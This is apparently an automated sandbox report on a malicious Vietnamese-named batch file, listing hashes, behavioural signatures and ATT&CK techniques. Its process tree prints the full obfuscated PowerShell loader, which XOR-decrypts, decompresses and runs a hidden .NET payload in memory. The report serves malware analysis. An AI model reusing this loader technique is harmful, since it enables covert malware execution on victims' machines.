658291af7d8abb18d30b66c9d283132621f3f403b21a4211ea95ea1358280b02

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
05/07/2023, 06:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat
Size

883KB
MD5

a2af610174e71e428e3901160728cfde
SHA1

9637079bab94a01e51b0b674418ce9ef37ec94d9
SHA256

658291af7d8abb18d30b66c9d283132621f3f403b21a4211ea95ea1358280b02
SHA512

69f35d509790717547be19c903a8c4a3ddfaa464d5447ca20e7868b48e0d4223adaa068b8039bbf948344588a6505e9ffad22de14af4045735d1be78ee98688f
SSDEEP

24576:5nQ0lF65PDm3oUV83iQ2/x/G06VyN6WSzCjSQY/iuP:5Q0j65PY/YeNJjHY/t

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2412	NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1796	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2412	NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1796 wrote to memory of 2412	1796	cmd.exe	29
PID 1796 wrote to memory of 2412	1796	cmd.exe	29
PID 1796 wrote to memory of 2412	1796	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Users\Admin\AppData\Local\Temp\NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe
  "NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_qqhtM = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat').Split([Environment]::NewLine);foreach ($_CASH_AEOoF in $_CASH_qqhtM) { if ($_CASH_AEOoF.StartsWith(':: @')) { $_CASH_ZdXkn = $_CASH_AEOoF.Substring(4); break; }; };$_CASH_ZdXkn = [System.Text.RegularExpressions.Regex]::Replace($_CASH_ZdXkn, '_CASH_', '');$_CASH_ESBhW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_ZdXkn);$_CASH_AWnhq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3P6bK+LzjI7DUzZz5IAWC2F46OSMzFByN+j5nJV7ZMY=');for ($i = 0; $i -le $_CASH_ESBhW.Length - 1; $i++) { $_CASH_ESBhW[$i] = ($_CASH_ESBhW[$i] -bxor $_CASH_AWnhq[$i % $_CASH_AWnhq.Length]); };$_CASH_FcYnt = New-Object System.IO.MemoryStream(, $_CASH_ESBhW);$_CASH_woGME = New-Object System.IO.MemoryStream;$_CASH_CdINX = New-Object System.IO.Compression.GZipStream($_CASH_FcYnt, [IO.Compression.CompressionMode]::Decompress);$_CASH_CdINX.CopyTo($_CASH_woGME);$_CASH_CdINX.Dispose();$_CASH_FcYnt.Dispose();$_CASH_woGME.Dispose();$_CASH_ESBhW = $_CASH_woGME.ToArray();$_CASH_aAcgv = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_ESBhW);$_CASH_fNVRV = $_CASH_aAcgv.EntryPoint;$_CASH_fNVRV.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\NỘI DUNG THUÊ NHÓM ĐĂNG BÀI.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2412-59-0x000000001B030000-0x000000001B312000-memory.dmp

Filesize
2.9MB

Download
memory/2412-60-0x0000000002290000-0x0000000002310000-memory.dmp

Filesize
512KB

Download
memory/2412-61-0x0000000002290000-0x0000000002310000-memory.dmp

Filesize
512KB

Download
memory/2412-62-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2412-63-0x0000000002294000-0x0000000002297000-memory.dmp

Filesize
12KB

Download
memory/2412-64-0x000000000229B000-0x00000000022D2000-memory.dmp

Filesize
220KB

Download